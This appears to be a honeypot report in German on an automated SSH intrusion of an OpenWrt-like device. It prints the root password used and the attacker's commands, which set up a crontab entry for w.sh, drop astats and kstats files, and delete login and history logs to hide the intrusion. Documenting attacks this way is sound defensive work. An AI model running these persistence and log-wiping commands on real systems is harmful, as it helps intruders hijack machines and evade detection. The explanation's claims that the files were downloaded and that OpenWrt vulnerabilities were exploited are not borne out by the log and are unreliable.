10.10.2026, 17:34 UTC · 13 Befehle · über ssh · Kolumbien
user='root' pass='#HOfohGK$UL=V0=' root@srv01:~$ uname -a Linux OpenWrt 5.4.179 #0 SMP Mon Apr 4 20:03:07 2022 mips GNU/Linux root@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done' / root@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l 4 root@srv01:~$ cd "/" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi bash: w.sh: No such file or directory root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" root@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \ bash: syntax error near unexpected token `||' root@srv01:~$ printf '%s\n%s\n' "@reboot //w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab - bash: syntax error near unexpected token `(' root@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10 PID %CPU COMMAND 134 0.4 procd 145 0.3 logd 156 0.2 netifd 162 0.1 uhttpd 178 0.1 dnsmasq 201 0.1 klogd 202 0.1 syslogd 215 0.0 dropbear 220 0.0 crond 225 0.0 ash root@srv01:~$ ps aux | grep astats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l 0 root@srv01:~$ ps aux | grep kstats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l 0 root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > kstats bash: kstats: No such file or directory root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats bash: astats: No such file or directory root@srv01:~$ rm -rf .bash_history;rm -rf /var/run/utmp;rm -rf /var/run/wtmp -;rm -rf /var/log/lastlog;rm -rf /usr/adm/lastlog;rm -rf .bash_history;cd /home;rm -rf yum.log;cd /var/log/;rm -rf wtmp;rm -rf secure;rm -rf lastlog;rm -rf messages;touch messagess;touch wtmp;touch secure;touch lastlog;cd /root;rm -rf .bash_history;touch .bash_history;unset HISTFILE;unset HISTSAVE;history -n;unset WATCH;nohup sh /tmp/.… rm: cannot remove '/var/run/utmp': No such file or directory rm: cannot remove '/var/run/wtmp -': No such file or directory rm: cannot remove '/usr/adm/lastlog': No such file or directory rm: cannot remove 'yum.log': No such file or directory rm: cannot remove 'secure': No such file or directory rm: cannot remove 'messages': No such file or directory rm: cannot remove '.bash_history': No such file or directory
Ein Angreifer loggte sich per SSH mit dem Benutzer root und einem bekannten Passwort ein. Er prüfte zunächst die Systemumgebung und die Anzahl der Prozessoren. Anschließend versuchte er, ein Skript namens w.sh im Wurzelverzeichnis anzulegen und es über die Cron-Tabelle regelmäßig auszuführen. Danach lud er zwei weitere Dateien namens kstats und astats herunter und löschte abschließend diverse Log-Dateien, um seine Spuren zu verwischen.
Das Kommando uname -a liefert Informationen über das Betriebssystem und die Architektur. Die Schleife mit cd prüft, in welches beschreibbare Verzeichnis geschrieben werden kann. cat /proc/cpuinfo zählt die verfügbaren CPU-Kerne, um die Leistungsfähigkeit des Ziels einzuschätzen. Der Block mit crontab plant die Ausführung des Skripts w.sh bei jedem Systemstart und stündlich. Die ps-Befehle prüfen, ob bereits ähnliche Prozesse laufen, um Konflikte zu vermeiden. Die rm-Befehle löschen Protokolle wie lastlog und wtmp, um die Anmeldung und Aktivität zu verstecken.
Das Vorgehen deutet stark auf die Installation einer Malware-Komponente hin, die als Hintergrundprozess läuft. Die Namen astats und kstats sowie die Parameter deuten auf einen Kryptominer oder einen Botnet-Client hin, der Ressourcen des Systems nutzt. Das Löschen der Logs dient der Verschleierung, was typisch für illegale Hintergrundaktivitäten ist.
Dieses Muster ist sehr verbreitet und folgt einem standardisierten Skript für IoT-Geräte. Es handelt sich um einen automatisierten Angriff, der auf bekannte Schwachstellen in Routern mit OpenWrt abzielt.